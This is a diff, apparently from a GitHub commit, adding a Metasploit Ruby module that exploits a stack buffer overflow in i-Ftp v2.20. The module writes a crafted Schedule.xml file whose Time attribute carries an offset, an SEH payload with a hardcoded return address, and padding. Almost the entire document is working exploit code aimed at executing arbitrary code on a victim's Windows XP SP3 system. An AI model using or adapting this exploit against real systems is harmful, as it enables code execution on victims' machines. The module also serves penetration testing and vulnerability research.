|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::FILEFORMAT |
| 12 | + include Msf::Exploit::Remote::Seh |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'i-FTP Schedule Buffer Overflow', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a stack-based buffer overflow vulnerability in |
| 19 | + i-Ftp v2.20, caused by a long time value set for scheduled download. |
| 20 | + By persuading the victim to load a specially-crafted Schedule.xml file, |
| 21 | + a remote attacker could execute arbitrary code on the system or cause |
| 22 | + the application to crash. This module has been tested successfully on |
| 23 | + Windows XP SP3. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'metacom', # Vulnerability discovery and PoC |
| 29 | + 'Gabor Seljan' # Metasploit module |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'EDB', '35177' ], |
| 34 | + [ 'OSVDB', '114279' ], |
| 35 | + ], |
| 36 | + 'DefaultOptions' => |
| 37 | + { |
| 38 | + 'ExitFunction' => 'process' |
| 39 | + }, |
| 40 | + 'Platform' => 'win', |
| 41 | + 'Payload' => |
| 42 | + { |
| 43 | + 'BadChars' => "\x00\x0a\x0d\x20\x22", |
| 44 | + 'Space' => 2000 |
| 45 | + }, |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + [ 'Windows XP SP3', |
| 49 | + { |
| 50 | + 'Offset' => 600, |
| 51 | + 'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll] |
| 52 | + } |
| 53 | + ] |
| 54 | + ], |
| 55 | + 'Privileged' => false, |
| 56 | + 'DisclosureDate' => 'Nov 06 2014', |
| 57 | + 'DefaultTarget' => 0)) |
| 58 | + |
| 59 | + register_options( |
| 60 | + [ |
| 61 | + OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml']) |
| 62 | + ], |
| 63 | + self.class) |
| 64 | + |
| 65 | + end |
| 66 | + |
| 67 | + def exploit |
| 68 | + |
| 69 | + evil = rand_text_alpha(target['Offset']) |
| 70 | + evil << generate_seh_payload(target.ret) |
| 71 | + evil << rand_text_alpha(20000) |
| 72 | + |
| 73 | + sploit = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?> |
| 74 | + <Schedule> |
| 75 | + <Event Url=\"\" Time=\"#{evil}\" Folder=\"\" /> |
| 76 | + </Schedule>" |
| 77 | + |
| 78 | + # Create the file |
| 79 | + print_status("Creating '#{datastore['FILENAME']}' file ...") |
| 80 | + file_create(sploit) |
| 81 | + |
| 82 | + end |
| 83 | +end |
0 commit comments